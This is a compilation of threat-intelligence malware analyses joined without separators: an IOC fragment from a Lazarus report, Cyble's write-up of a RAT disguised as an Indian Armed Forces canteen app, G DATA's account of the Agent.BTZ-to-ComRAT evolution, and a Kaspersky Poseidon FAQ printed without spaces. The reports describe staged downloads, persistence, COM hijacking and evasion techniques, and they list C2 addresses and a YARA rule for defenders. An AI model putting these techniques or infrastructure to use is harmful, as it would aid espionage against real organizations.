APPENDIX A: INDICATORS OF COMPROMISE 16/17 MD5 Hashes 9cc6854bc5e217104734043c89dc4ff8 9914075cc687bdc352ee136ac6579707 e29fe3c181ac9ddbb242688b151f3310 9216b29114fb6713ef228370cbfe4045 8e32fccd70cec634d13795bcb1da85ff 889e320cf66520485e1a0475107d7419 6dffcfa68433f886b2e88fd984b4995a Filenames cambio.swf cambio.xap mark180789172360.ico meml102783047891.dat back283671047171.dat URLs view.jsp?pagenum1 view.jsp?uid 17/17 Lazarus False Flag Malware BACKGROUND ANALYSIS Sample 1  srservice.chm Sample 2  srservice.hlp Sample 3  srservice.dll Sample 4  fdsvc.exe Sample 5  fdsvc.dll Russian language used in fdsvc.dll Sample 6  cambio.swf Shellcode Overall Scheme CONCLUSIONS APPENDIX A: INDICATORS OF COMPROMISE
APT Group Targets Indian Defense Officials Through Enhanced TTPs During our routine threat hunting exercise, Cyble Research Labs came across a malware sample posted on Twitter by a researcher who believes that the malware belongs to Transparent Tribe, an Advanced Persistent Threat (APT) Group.
Given the nature of the victim and the way they are targeted, we can draw some similarities to the Side Copy APT group.
Both APT groups are known to have mainly targeted Indias Defense and Government sectors in the past.
Additionally, both groups have used various other RAT and malware to launch campaigns via multiple modes such as phishing, delivering payload via mail, etc.
The malware posted by the researcher on Twitter has used a technique to hide the actual malware in the .vhdx file to avoid any antivirus detection.
As per Wikipedia, .vhdx is the successor of VHD (Virtual Hard Disk).
The figure below shows the high-level execution flow of the malware.
Upon execution, the malware checks for the current time zone.
If it is able to verify that the victim systems time zone is in IST, it connects to the attackers URL for downloading the second stager.
Once downloaded, it executes the second stager payload and deletes itself.
The second stager payload checks that only one instance of the malware is running, and then it connects with the attackers Command and Control (CC) server to start receiving the commands from Threat Actor (TA).
Figure 1 High-Level Execution Flow of Malware Technical Analysis Cyble Research started analysis with the malware file name AFD CSD APP.vhdx the sample had an extension.
vhdx.
After double-clicking on the AFD CSD APP.vhdx we observed it creating a mount in the Operating System (OS) with the name CSD App.
After opening the mounted drive, we got the malicious malware file which is CSD_AppLaunch.exe.
Figure 2 Actual Malware present in CSD APP Mount While performing a static analysis of the CSD_AppLaunch.exe malicious file, we determined that that the file is an x86 architecture Windows-based Graphical User Interface (GUI) Application written in .NET Language shown in the figure https://twitter.com/s1ckb017/status/1435888576710029315 https://en.wikipedia.org/wiki/VHD_28file_format29 below.
Figure 3 Static Details of First Stager The icon of the malicious app had the logo of the Canteen Store Department (CSD) of the Indian Armed Forces, as shown in the figure below.
Figure 4 Application Logo Used for First Stager Code Analysis (CSD_AppLaunch.exe) As per the below code, once the malware has been executed, it checks whether the current OS time Zone is India Standard Time (IST) if the OS time is not in IST, the malware exits.
This tells us that the malware has been created with the explicit purpose of targeting the Indian Defense establishment and service members.
Figure 5 Malware Checks for Time Zone Initially, the code shown below figure uses the .NET WebBrowser() class to open the URL h[tt]ps:[//]afd.csdindia[.]gov[.
]in and load the Form1_Load module to execute the malicious malware code.
Figure 6 Malware Loading Indian CSD Website in Custom Browser and Execute Form1_Load Once the Form1_Load method is called, the code shown in Figure 7 creates a directory in C:\\ProgramData as Intel Wifi.
If this directory is not present, it will be created, Once the directory is present, the malware proceeds to download the next stager payload from URL https[:]//secure256[.
]net/ver4.mp3.
Then, the malware decrypts the ver4.mp3 content to create IntelWifi.exe malicious binary in C:\\ProgramData\\Intel Wifi as shown in the code below.
Figure 7 Create Folder in ProgramData and Download Second Stager The code below contains the decryption logic used by the malware to decrypt the content of ver4.mp3 file.
Figure 8 Decrypt Second Stager Finally, the first stager malware calls the Final method to create a new file name music.mp3 which contains the decrypted data of ver4.mp3 in the C:\\ProgramData directory.
After this step, it sleeps for 6 seconds and then uses the Move function to rename the music.mp3 file to IntelWifi.exe.
It then sleeps for five more seconds and then executes IntelWifi.exe binary and delete CSD_AppLaunch.exe (first stager) binary as shown in the figure below.
Figure 9 Create Second Stager Binary IntelWifi.exe Technical Analysis for IntelWifi.exe (Second Stager) Static analysis of IntelWifi.exe tells that the binary is an x86 architecture Windows-based Graphical User Interface (GUI) application written in .NET language as shown in the figure below.
Figure 10 Static Details of IntelWifi (Second Stager) As per the below code, initially, the malware checks that only a single instance of a malware process is running.
Then, it checks whether the current time zone is India Standard Time.
Further, it calls CheckDirectory() method to create \\Intel Wifi directory and vmnx.dll file.
Finally, it calls the Form1 module to execute the malicious codes.
Figure 11 Second Stager Malware Performing Various Checks Form1() module calls IntializeComponent method, which in turn loads the Form1_Load method.
The Form1_Load then calls Run() method to start the malware activity as shown in the figure below.
Figure 12 Execution Flow to Initiate the Malicious Activity The Run code is shown in Figure 13.
Once executed, it connects to the attackers CC on address 45[.]147[.]228[.
]195[:]5434.
After establishing contact with the CC server, it calls the Run method from the Grabber class to execute a series of methods to get the victims environment details, e.g., OS, current username, etc.
Once the victims environment details are extracted, the malware sends the details to the attackers CC with key x999 and then waits for commands to be received from the attacker.
Figure 13 Malware Communicating to Attackers CC and Waiting to receive the Command Below we have listed a series of methods executed by the Run() method present in the Grabber class.
Figure 14 Series of Methods Executed by Malware Methods Description CreateID() Create vmvcx.dll file and Generate Victim ID based on processor detail and P-Followed by random number and write the ID is vmvcx.dll file.
E.g., PXXX-XXXXXXXXXXXX Name() Get the Computer Name and Current Username PubIp() Get the Victims public IP using http://icanhazip[.
]com LocIp() Get the Victims Local IP OSType() Get the Victims Operating System (OS) details Av() Get the AVs List present in Victims Machine MacType() Check whether Victims is using desktop or Laptop CreateNonStop() Add persistence in Startup Folder Table 1 Methods Description Which Malware invokes The below figure shows that the cynetcloud shortcut file is created in the startup folder using CreateNonStop() method.
The value file:///C:\ProgramData\Intel Wifi\IntelWifi.exe executes whenever the Windows machine starts.
This is done for the purpose of creating and maintaining persistence on the victim machine.
Figure 15 Malware Created Persistent in Start-Up Folder Once all the methods are executed, as shown in Table 1, the malware sends the user data to Attackers CC.
In the figure below, the malware has connected to our fake emulated CC.
Figure 16 Malware Connected to Fake CC Once connected, the malware sends the victims environment details.
The malware goes into a dormant stage to get the next command from the attackers CC.
For example, in the below figure, we have sent prc1 to the malware to get the process details of the victim.
file:///C:/ProgramData/Intel20Wifi/IntelWifi.exe Figure 17 Output Received from malware Below is the code used by the malware to handle the commands received from CC.
Figure 18 Various Functionalities which Malware Support basis on the Command Received from CC Conclusion The APT groups are evolving their tools and techniques to stay ahead of various security solutions like AV  EDR.
Based on the fact that this malware has multiple artifacts such as the logo, the URL used in the initial code, we can conclude that the malware has been created specifically to target Indian Defense or Government officials.
Cyble Research Labs will continuously monitor security threats, whether they are ongoing or emerging.
We will continue to update our readers with our latest findings.
Our Recommendations We have listed some essential cybersecurity best practices that create the first line of control against attackers.
We recommend that our readers follow the suggestions given below: Use a reputed anti-virus and internet security software package on your connected devices.
Use the sharedIOCsto monitor and block the malware infection.
Conduct regular backup practices and keep those backups offline or in a separate network.
Refrain from opening untrusted links and email attachments without verifying their authenticity.
Turn on the automatic software update feature on your computer, mobile, and other connected devices wherever possible and pragmatic.
Use strong passwords and enforce multi-factor authentication wherever possible.
MITRE ATTCK Techniques Tactic Technique ID Technique Name Execution    T1204 User Execution Persistence T1547 Boot or Logon Autostart Execution Discovery T1057 T1124 T1033 T1082 Process Discovery System Time Discovery System Owner/User Discovery System Information Discovery Command and Control T1095 T1571 Non-Application Layer Protocol Non-Standard Port Indicators of Compromise (IoCs): Indicators Indicator type Description 124023c0cf0524a73dabd6e5bb3f7d61d42dfd3867d699c59770846aae1231ce SHA-256 IntelWifi.exe 84841490ea2b637494257e9fe23922e5f827190ae3e4c32134cadb81319ebc34 SHA-256 CSD_AppLaunch.exe 5e645eb1a828cef61f70ecbd651dba5433e250b4724e1408702ac13d2b6ab836 SHA-256 AFD CSD APP.vhdx http://secure256[.
]net/ URL Second Stager URL 45.147.228.195:5434 IP:Port Attackers CC Generic signatures and Rules: Yara Rules: rule win32_csdmalware  meta: author Cyble Research date 2021-09-14 description Coverage for CSD_Application.exe  IntelWifi.exe csd_application_hash 84841490ea2b637494257e9fe23922e5f827190ae3e4c32134cadb81319ebc34  intelwifi_hash 124023c0cf0524a73dabd6e5bb3f7d61d42dfd3867d699c59770846aae1231ce strings: header MZ sig1  CreateNonStop wide ascii https://attack.mitre.org/techniques/T1204/ https://attack.mitre.org/techniques/T1547/ https://attack.mitre.org/techniques/T1057/ https://attack.mitre.org/techniques/T1124/ https://attack.mitre.org/techniques/T1033/ https://attack.mitre.org/techniques/T1082/ https://attack.mitre.org/techniques/T1095/ https://attack.mitre.org/techniques/T1571/ sig2  LocIp wide ascii sig3  MacType wide ascii sig4  45.147.228.195 wide ascii sig5  qmquqsqiqcq.qmqpq3q wide ascii sig6  secure256.net wide ascii sig7  ver4.mp3 wide ascii sig8  x33117 wide ascii condition: header at 0 and (3 of (sig))  About Us Cybleis a global threat intelligence SaaS provider that helps enterprises protect themselves from cybercrimes and exposure in theDarkweb.
Its prime focus is to provide organizations with real-time visibility to their digital risk footprint.
Backed by Y Combinator as part of the 2021 winter cohort,Cyblehas also been recognized by Forbes as one of the top 20 Best Cybersecurity StartupsToWatch In 2020.
Headquartered in Alpharetta, Georgia,and with offices in Australia, Singapore, and India,Cyblehas a global presence.
To learn more aboutCyble, visitwww.cyble.com.
https://cyble.com/
Evolution of sophisticated spyware: from Agent.
BTZ to ComRAT In November 2014, the experts of the G DATA SecurityLabs published an article about ComRAT, the Agent.
BTZ successor.
We explained that this case is linked to the Uroburos rootkit.
We assume that the actor behind these campaigns uses several different malware strains is order to compromise the targeted infrastructure: Uroburos, a rootkit Agent.
BTZ/ComRAT, remote administration tools or Linux malware and maybe even more.
We decided to have an even closer look at Agent.
BTZ and ComRAT and therefore analyzed the evolution of this RAT, covering seven years of development.
Here is a table with the minimal information about 46 different samples: MD5 Version Compilation Date b41fbdd02e4d54b4bc28eda99a8c1502 Ch 1.0 Wed Jun 13 07:31:32 2007 UTC 93827a6c77e84ffdd9c793d485d3df6e Ch 1.0 Wed Jun 13 07:31:32 2007 UTC 3e9c7ef54ea3d55d5b53abab4c3e2385 Ch 1.0 Wed Jun 13 07:31:32 2007 UTC b9ed8876ef5a05ba364a9cdbdf4f184d Ch 1.0 Tue Jun 19 12:41:21 2007 UTC d8f98f64687b05a62c81ce9e52dd808d Ch 1.1 Tue Jun 26 08:46:11 2007 UTC 2cf64ff9dad8d64ee9322e390d4f7283 Ch 1.1 Tue Jun 26 08:46:11 2007 UTC 24e679155697bd31b34036a44d4346a7 Ch 1.2wcc Tue Jul 24 12:57:37 2007 UTC 53b8b9f779b1d1d298884d1c21313ab3 Ch 1.2wcc Tue Jul 24 12:57:37 2007 UTC 69ae46fedf3c18ff36fc850e0baa9365 Ch 1.2wcc Tue Jul 24 12:57:37 2007 UTC e05511a84eb345954b94f1e05c78bf22 Ch 1.2 Thu Jul 26 07:20:17 2007 UTC f93ce76f6580d68a95260198b2d6feaa Ch 1.3 Mon Dec  3 14:15:58 2007 UTC db5d1583704b0fb6d1cff0b62a512a7d Ch 1.4 Tue Dec 11 17:36:03 2007 UTC 2b348c225985679f62e50b28bdb74ac9 Ch 1.4 Tue Dec 11 17:36:03 2007 UTC af3f0efbd69905123f7df958cc88dff9 Ch 1.4 Tue Dec 11 17:36:03 2007 UTC e825c4961293ad45883cd52f38695283 Ch 1.5 Thu Mar 27 14:58:15 2008 UTC 2a67b53b7ef7b70763658ca7f60e7005 Ch 1.5 Thu Mar 27 14:58:15 2008 UTC bbf569176ec7ec611d8a000b50cdb754 Ch 1.5 Thu Mar 27 14:58:15 2008 UTC e5c76e67128e48cb0f003c2beee47d1f Ch 1.5 Thu Mar 27 14:58:15 2008 UTC 8e5da63369d20e1d2c530bf806996285 Ch 2.02 Mon May  5 11:27:48 2008 UTC 78d3f074b70788897ae7e20e5137bf47 Ch 2.03 Mon May 12 11:52:31 2008 UTC 986f263ca2c529d5d28bce3c62f858ea Ch 2.03 Thu May 22 10:24:55 2008 UTC 4f732099caf5d21729572cec229f7614 Ch 2.04 Mon Jun  9 17:23:56 2008 UTC 5336c24a3399f522f8e19d9c54a069c6 Ch 2.04 Mon Jun  9 17:23:56 2008 UTC dc1c54751f94b6fdf0b6ecdd64e67701 Ch 2.04 Mon Jun  9 17:23:56 2008 UTC 40335fca60acd05f1428b13a9a3c1228 Ch 2.04 Mon Jun  9 17:23:56 2008 UTC 72663ee9d3efaff959bff4ce25bd37a6 Ch 2.04 Mon Jun  9 17:23:56 2008 UTC 5ef72904221aa4090a262a24714054f0 Ch 2.04 Mon Jun  9 17:23:56 2008 UTC 331eca9c7d9fd9cbe7cd192af09880a3 Ch 2.05 Thu Nov  6 13:21:45 2008 UTC db1156b072d58acdac1aeab9af2160a2 Ch 2.05 Thu Nov  6 13:21:45 2008 UTC 74dbea70bfb15db31bb9f757ed4bb1a0 Ch 2.07 Mon Dec 29 11:37:17 2008 UTC eb928bca5675722c7e9e2b09eec1158a Ch 2.07 Mon Dec 29 11:37:17 2008 UTC 162f415abad9708aa61db8e03bcf2f3c Ch 2.11 Mon Sep 14 13:22:57 2009 UTC 448524fd62dec1151c75b55b86587784 Ch 2.11 Mon Sep 14 15:28:07 2009 UTC 29bb70a40689e9e665d15716519bacfd Ch 2.12 Tue Sep 29 10:28:40 2009 UTC 38d6719d6a266c6cefb8626c57378927 Ch 2.13 Mon Dec  7 14:25:12 2009 UTC 02eda1effde92bdf8462abcf40c4f776 Ch 2.13 Mon Dec  7 14:27:53 2009 UTC 5121ce1f96d74076df1c39748e019f42 Ch 2.14.1 Wed Feb 17 15:14:20 2010 UTC 28dc1ca683d6a14d0d1794a68c477604 Ch 3.00 Tue Jan 31 16:12:25 2012 UTC 40bd7846553550f38e458b8493824cb4 Ch 3.00 Tue Feb 14 10:28:06 2012 UTC ba0c777317461ed57a85ffae277044dc Ch 3.02 Wed Apr  4 16:23:44 2012 UTC b86137fa5a232c614ec5405be4d13b37 Ch 3.10 Tue Dec 18 08:22:43 2012 UTC 7872c1d88fe21d8a85f160a6666c76e8 Ch 3.20 Fri Jun 28 12:16:40 2013 UTC 83a48760e92bf30961b4a943d3095b0a Ch 3.20 Fri Jun 28 12:16:58 2013 UTC 3d65c18d09f47547f85c631ebeeda482 Ch 3.20 Mon Jun 24 10:51:01 2013 UTC ec7e3cfaeaac0401316d66e964be684e Ch 3.25 Thu Feb  6 12:37:44 2014 UTC b407b6e5b4046da226d6e189a67f62ca Ch 3.26 Thu Jan  3 18:03:46 2013 UTC Thanks to the versioning, we can deduce that the compilation dates we saw and currently see actually seem to be legit  except for the last known version, in which the author modified the compilation date in order to make the analysis more complex.
We can see that this malware was really active in 2007 and 2008.
New versions declined in frequency in 2009 and only one new sample was identified in 2010.
We did not encounter any new sample from 2011, but the malware appeared back in 2012, with a new major version.
The RATs evolution described in ten steps To describe the evolution of the development, we decided to compare ten major versions: Version Ch 1.0 (2007-06) to Ch 1.5 (2008-03) Version Ch 1.5 (2008-03) to Ch 2.03 (2008-05) Version Ch 2.03 (2008-05) to Ch 2.11 (2009-09) Version Ch 2.11 (2009-09) to Ch 2.14.1 (2010-02) Version Ch 2.14.1 (2010-02) to Ch 3.00 (2012-01) Version Ch 3.00 (2012-01) to Ch 3.10 (2012-12) Version Ch 3.10 (2012-12) to Ch 3.20 (2013-06) Version Ch 3.20 (2013-06) to Ch 3.25 (2014-02) Version Ch 3.25 (2014-02) to Ch 3.26 (2013-01 date has been modified) The following chapter will present the main differences between the versions mentioned above.
Here is the resemblance ratio for each version, comparing direct neighbor versions only, created using BinDiff: The biggest code update has occurred between version 2.14.1 and version 3.00.
The gap matches the absence of samples during two years and this fundamental modification is what we call the death of Agent.
BTZ and the birth of ComRAT.
Differences between version Ch 1.0 (2007-06) to Ch 1.5 (2008-03) The analyzed samples are: Ch 1.0: b41fbdd02e4d54b4bc28eda99a8c1502 Ch 1.5: bbf569176ec7ec611d8a000b50cdb754 Code similarity: 90 We did not identify strong modification between the two samples.
However, we can notice the following: The configuration file (XML) in version 1.5 is stored in Unicode and not in ASCII anymore The two versions implement a mechanism to infect new media connected to the infected system.
The implementation is not exactly the same nor is the log of media infection Version 1.5 creates a new event: wowmgr_is_load.
This event has then been used for years.
Differences between version Ch 1.5 (2008-03) and Ch 2.03 (2008-05) The analyzed samples are: Ch 1.5: bbf569176ec7ec611d8a000b50cdb754 Ch 2.03: 78d3f074b70788897ae7e20e5137bf47 Code similarity: 83 In version 2.03 of Agent.
BTZ, the authors changed the following: https://blog.gdatasoftware.com/index.php?eIDtx_cms_showpicfilefileadmin2F01_public2FWeb2FContent2FINT2FBlog2F20152F01_20152Fgraphics_01_20152FComRAT_evolution_bindiff_v1.pngmd519e2971d8587a7cf4b85c42a63dae180cce6f447parameters5B05DYTo0OntzOjU6IndpZHRoIjtzOjQ6IjgwMG0iO3M6NjoiaGVpZ2h0IjtzOjQ6IjYwparameters5B15DMG0iO3M6NzoiYm9keVRhZyI7czo0MToiPGJvZHkgc3R5bGU9Im1hcmdpbjowOyBiparameters5B25DYWNrZ3JvdW5kOiNmZmY7Ij4iO3M6NDoid3JhcCI7czozNzoiPGEgaHJlZj0iamF2parameters5B35DYXNjcmlwdDpjbG9zZSgpOyI2BIHwgPC9hPiI7fQ3D3D They added obfuscation in order to hide sensitive strings The communication protocol was modified in order to include the flag CHCMD we assume that CH has the same meaning than Ch before the version number and CMD is the abbreviation for command From now on, the malware supports runas in order to execute commands as administrator.
This command was implemented by Microsoft in Windows Vista in 2007.
We assume that the author implemented this feature because several targets switched to this version of Windows in 2008.
According to an article, version 1.5 was used against the US Pentagon.
We assume that the string obfuscation was performed in order to bypass security measures being capable of detecting an intrusion.
Differences between version Ch 2.03 (2008-05) and Ch 2.11 (2009-09) The analyzed samples are: Ch 2.03: 78d3f074b70788897ae7e20e5137bf47 Ch 2.11: 162f415abad9708aa61db8e03bcf2f3c Code similarity: 96 The codes of these two versions are extremely similar to each other, we can only notice small changes: The author changed the name of several registry keys (probably to avoid detection by well-known IOC) The name of two exported functions were modified, too: InstallM() becomes AddAtomT() and InstallS() becomes AddAtomS(),probably for the same reason than above.
Differences between version Ch 2.11 (2009-09) and Ch 2.14.1 (2010-02) The analyzed samples are: Ch 2.11: 162f415abad9708aa61db8e03bcf2f3c Ch 2.14.1: 5121ce1f96d74076df1c39748e019f42 Code similarity: 98 These codes are really similar to each other, too.
We can notice only two changes: The author patched several bugs Four new exports appear: DllCanUnLoadNow(), DllGetClassObject(), DllRegisterServer(), DllUnregisterServer().
The four exported libraries show that the malware has started to support the OLE Component Object http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html Model (COM).
This version is the first version able to be registered as a COM object.
Three of the four functions are empty.
The fourth one executes the malware.
Differences between version 2.14.1 (2010-02) and Ch 3.00 (2012-01) The analyzed samples are: Ch 2.14.1: 5121ce1f96d74076df1c39748e019f42 Ch 3.00: 28dc1ca683d6a14d0d1794a68c477604 Code similarity: 60 These codes really differ from each other, even if some parts of version 2.14.1 were retained.
Moreover, the developers changed the compiler they switched from Visual Studio 6.0 to Visual Studio 9.0/10.0 , which is a strong indicator for the huge differences.
Version 3.00 is what the G DATA SecurityLabs experts call ComRAT.
We can say that version 2.14.1 is the last version of Agent.
BTZ.
Here are the main differences between Agent.
BTZ and ComRAT: The new malware collects more information about the infected system (such as drive information, volume information).
The media stick infection mechanism has definitely been removed.
We assume this happened due to the fact that Microsoft has disabled AutoRun for external media.
For the attackers, this infection vector is not interesting anymore.
The malware is injected into every process of the infected machine and the main payload is executed in explorer.exe as we explained in our article The communication channel to the command and control is not the same anymore.
In this new version, the malware uses POST requests with the following pattern: As the malware is injected into every process of the infected system, it creates named pipe in order to handle inter-processes communication.
On several 3.00 samples, the author forgot to remove the compilation path, here are some examples: https://blog.gdatasoftware.com/blog/article/the-uroburos-case-new-sophisticated-rat-identified.html c:\projects\ChinckSkx64\Debug\Chinch.pdb c:\projects\ChinckSkx64\Release\libadcodec.pdb C:\projects\ChinckSkx64\x64\Release\libadcodec.pdb E:\old_comp\_Chinch\Chinch\trunk\Debug\Chinch.pdb c:\projects\ChinchSk\Release\libadcodec.pdb Thanks to these compilation paths, we assume that the original name of the RAT is Chinch, which leads us to the assumption that the CH characters in the version name and in the flag CHCMD stands for Chinch.
In English, chinch is the word for a small North American bug, Blissus leucopterus.
This word is derived from the Spanish word chinche, meaning pest.
Differences between version 3.00 (2012-01) and Ch 3.10 (2012-12) The analyzed samples are: Ch 3.00: 28dc1ca683d6a14d0d1794a68c477604 Ch 3.10: b86137fa5a232c614ec5405be4d13b37 Code similarity: 90 The codes are similar to each other, but the authors added several features: The malware generates more logs The malware has a Mutex handle The 3.10 version supports multiple command and control servers.
The last new feature is really interesting: if the compromised targets block a specific command and control server, the malware will continue to work, thanks to two alternative command and control servers.
Differences between version 3.10 (2012-12) and Ch 3.20 (2013-06) The analyzed samples are: Ch 3.10: b86137fa5a232c614ec5405be4d13b37 Ch 3.20: 7872c1d88fe21d8a85f160a6666c76e8 Code similarity: 93 The major new feature in the version is the new exports function called InstallW().
This exported function is used by the dropper to add persistence in the registry and to drop a second file (as explained in our previous article).
Version 3.20 uses the following CLSID in order to hijack COM object: B196B286-BAB4- 101A-B69C-00AA00341D07.
This object is the IConnectionPoint interface.
The CLSID was only used in this version.
We assume that the performed COM object hijacking generates some trouble on the infected http://en.wikipedia.org/wiki/Blissus_leucopterus system, thats why the author changed related things in the next version.
Furthermore, the CLSID was stored in plain text within the sample.
Differences between version Ch 3.20 (2013-06) and Ch 3.25 (2014-02) The analyzed samples are: Ch 3.20: 7872c1d88fe21d8a85f160a6666c76e8 Ch 3.25: ec7e3cfaeaac0401316d66e964be684e Code similarity: 91 In the 3.25 version, the author switched to the CLSID: 42aedc87-2188-41fd-b9a3-0c966feabec1 as described in our article.
Furthermore, the strings in the sample are obfuscated.
The main new feature is the obfuscation  almost all strings are obfuscated and the XML pattern is not written in plain text anymore.
Differences between version Ch 3.25 (2014-02) and Ch 3.26 (2013-01 date has been modified) The analyzed samples are: Ch 3.25: ec7e3cfaeaac0401316d66e964be684e Ch 3.26: b407b6e5b4046da226d6e189a67f62ca Code similarity: 95 The version 3.26 is the latest known version.
In this version: The authors removed the familiar XOR key used by Agent.
BTZ and Uroburos.
We assume that due to the G DATA publication in February 2014, the author decided to remove as many links as possible between Uroburos and Agent.
BTZ/ComRAT/Chinch The authors do not generate logs anymore The compilation date has been modified, in order to make the analysis and timeline creation more complex.
Conclusion This analysis shows us seven years of the evolution of a Remote Administration Tool, used by a group which targeted extremely sensitive entities, such as the US Pentagon  in 2008 or the Belgium Ministry of Foreign Affairs  in 2014 as well as the Finnish Ministry of Foreign Affairs.
Except for version 3.00, the modifications made are rather marginal.
We can see that the authors adapted https://blog.gdatasoftware.com/blog/article/the-uroburos-case-new-sophisticated-rat-identified.html http://en.wikipedia.org/wiki/2008_cyberattack_on_United_States http://www.standaard.be/cnt/dmf20140512_01103164http://www.standaard.be/cnt/dmf20140512_01103164 http://www.hs.fi/kotimaa/a1411735620888 features to the Windows versions, patched bugs, added obfuscation etc The biggest update was performed to version 3.00, after two years of silence.
Visibly, this RAT was used alongside the Uroburos rootkit.
Nevertheless, it is not entirely clear how and when the attackers choose to use the RAT or the rootkit or whether both are used in parallel.
Taking everything into consideration, G DATA SecurityLabs experts are sure that the group behind Uroburos/Agent.
BTZ/ComRAT/Linux tool/ will remain an active player in the malware and APT field.
The newest revelations made and connections drawn let us believe that there is even more to come.
PoseidonGroup:aTargetedAttackBoutique specializinginglobalcyberespionage ByGReATonFebruary9,2016.10:27am Duringthelatterpartof2015,KasperskyresearchersfromGReAT(GlobalResearchandAnalysis Team)gotholdofthemissingpiecesofanintricatepuzzlethatpointstothedawnofthefirst Portuguesespeakingtargetedattackgroup,namedPoseidon.
Thegroupscampaignsappearto havebeenactivesinceatleast2005,whiletheveryfirstsamplefoundpointsto2001.Thissignals justhowlongagothePoseidonthreatactorwasalreadyworkingonitsoffensiveframework.
WhyhasthePoseidonthreatremainedundetectedforsomanyyears?Inreality,ithasnot.
Most samplesweredetectedpromptly.
However,Poseidonspracticeofbeingacustomtailoredmalware implantsboutiquekeptsecurityresearchersfromconnectingdifferentcampaignsundertheumbrella ofasinglethreatactor.
Thisapproachentailscraftingcampaignscomponentsondemandand sometimesfabricatingentirelyuniquemaliciousartifacts.
1stPortuguesespeakinggroupThePoseidonAPTattackscompaniesgloballyTheSAS2016 Ourresearchteamwasabletoputtogetherthedisparatepiecesofthispuzzlebydiligentlytracing theevolutionofPoseidonstoolkitinpursuitofanoverarchingunderstandingofhowtheactorthinks andthespecificpracticesinvolvedininfectingandextortingitsvictims.
Withasetoftoolsdeveloped forthesolepurposeofinformationgatheringandprivilegeescalation,thesophisticationlevelof campaignhighlightsthat,today,regionalactorsarenotfarbehindbetterknownplayersintheglobal gameoftargetedattacks.
BecomingfamiliarwiththeoperationsofthePoseidonGroupmeantpatientlydismantlingtheirmodus operanditounearththecustomdesignedinfectiontoolsdeployedtoeachoftheirselectedtargets.
Thisprocessrevealedaseriesofcampaignswithhighlyregionalizedmalwarepracticesand geographicallyskewedvictimtasking,unsurprisinginaregionwithagraduallymaturingcybercrime industry.
Theproperdetectionofeachiterationoftheirevolvingtoolkitmayhavebeenenoughto thwartspecificefforts,buttotrulyunderstandthemagnitudeofPoseidonscombinedoperations requiredanarcheologicalefforttomatch.
Frequentlyaskedquestions WhatexactlyisthePoseidonGroup?
ThePoseidonGroupisalongrunningteamoperatingonalldomains:land,air,andsea.
Theyare dedicatedtorunningtargetedattackscampaignstoaggressivelycollectinformationfromcompany networksthroughtheuseofspearphishingpackagedwithembedded,executableelementsinside https://securelist.com/author/great/ officedocumentsandextensivelateralmovementtools.
Theinformationexfiltratedisthenleveraged byacompanyfronttoblackmailvictimcompaniesintocontractingthePoseidonGroupasasecurity firm.
Evenwhencontracted,thePoseidonGroupmaycontinueitsinfectionorinitiateanother infectionatalatertime,persistingonthenetworktocontinuedatacollectionbeyonditscontractual obligation.
ThePoseidonGrouphasbeenactive,usingcustomcodeandevolvingtheirtoolkitsince atleast2005.TheirtoolsareconsistentlydesignedtofunctiononEnglishandPortuguesesystems spanningthegamutofWindowsOS,andtheirexfiltrationmethodsincludetheuseofhijacked satelliteconnections.
Poseidoncontinuestobeactiveatthistime.
WhydoyoucallitPoseidonsTargetedAttackBoutique?
Thepresenceofseveraltextfragmentsfoundinthestringssectionofexecutablefilesbelongingto thecampaignrevealtheactorsfondnessforGreekmythology,especiallyregardingPoseidon,the GodoftheSeas(whichalsocoincideswiththeirlaterabuseofsatellitecommunicationsmeantto serviceshipsatsea).Theboutiqueelementisreflectedintheirartisanallyadaptivetoolkitforlateral movementanddatacollectionwhichappearstochangefrominfectiontoinfectiontofitcustom tailoredrequirementsforeachoftheirprospectiveclients.
Thebusinesscycleincludeswhatis euphemisticallyreferredtoasfinancialforecastingusingstoleninformation,soweliketosaythat Poseidonsboutiquenotonlydealsintargetedattacksbutalsostolentreasures.
Howdidyoubecomeawareofthisthreat?Whoreportedit?
Wenoticedthatseveralsecuritycompaniesandenthusiastshadunwittinglyreportedonfragmentsof Poseidonscampaignsovertheyears.
However,nobodynoticedthatthesefragmentsactually belongedtothesamethreatactor.
Perhapsbecausemanyofthesecampaignsweredesignedtorun onspecificmachines,usingEnglishandPortugueselanguages,withdiversecommandandcontrol serverslocatedindifferentcountriesandsoondiscarded,signingmalwarewithdifferentcertificates issuedinthenameofroguecompanies,andsoon.
Bycarefullycollectingalltheevidenceandthen reconstructingtheattackerstimeline,wefoundthatitwasactuallyasinglegroupoperatingsinceat least2005,andpossibleearlier,andstillactiveonthemarket.
Withthisunderstanding,GReATresearcherswereabletorecognizesimilaritiesinobfuscationand developmenttraitsleadingbacktowidelyreportedbutlittleunderstoodvariantsonasamplein2015, whichsearchedforprominentleadersandsecretdocumentsinvolvingthem.
Whendidyoudiscoverthistargetedattack?
TheveryfirstsamplesfromthiscampaignweredetectedbyKasperskyLabbackintheearly2000s.
However,asnotedpreviously,itisaverycomplextasktocorrelateindicatorsandevidenceinorder toputtogetherallthepiecesofthisintricatepuzzle.
Bythemiddleof2015itwaspossibletoidentify thatthroughoutthisperiodoftimeitsbeenthesamethreatactor,whichwecallPoseidonGroup.
Whoarethevictims?/Whatcanyousayaboutthetargetsoftheattacks?
Thetargetsarecompaniesinenergyandutilities,telecommunications,publicrelations,media, financialinstitutions,governmentalinstitutions,servicesingeneralandmanufacturing.
The geographicalspreadofvictimsisheavilyskewedtowardsBrazil,theUnitedStates,France, Kazakhstan,UnitedArabEmirates,IndiaandRussia.
Manyofthevictimshavejointventuresor partneroperationsinBrazil.
Theimportanceofthevictimsisnotmeasuredinnumberssinceeachof thesevictimsisalargescale(oftenmultinational)enterprise.
Whatexactlyisbeingstolenfromthetargetmachines?
OneofthecharacteristicsofthegroupbehindPoseidonisanactiveexplorationofdomainbased networks.
Suchnetworktopologyistypicalforcompaniesandenterprises.
Thehighestvalueassetforthesecompaniesisproprietaryinformation,technologies,andbusiness sensitiveinformationthatrepresentssignificantvalueinrelationtoinvestmentsandstockvaluations.
ThePoseidonGroupactivelytargetsthissortofcorporateenvironmentforthetheftofintellectual propertyandcommercialinformation,occasionallyfocusingonpersonalinformationonexecutives.
HowdoesPoseidonsAPTBoutiqueinfectcomputers?
ThemaininfectionvectorforPoseidonistheuseofspearphishingemailsincludingRTF/DOCfiles, usuallywithahumanresourceslure.
Theexecutablesarealsooftendigitallysignedandoccasionally hiddeninalternatedatastreamstofoolsecuritysolutions.
Poseidonstoolkitdisplaysanawareness ofmanyantivirusprovidersovertheyears,attemptingtoattackorspooftheseprocessesasameans ofselfdefensefortheirinfections.
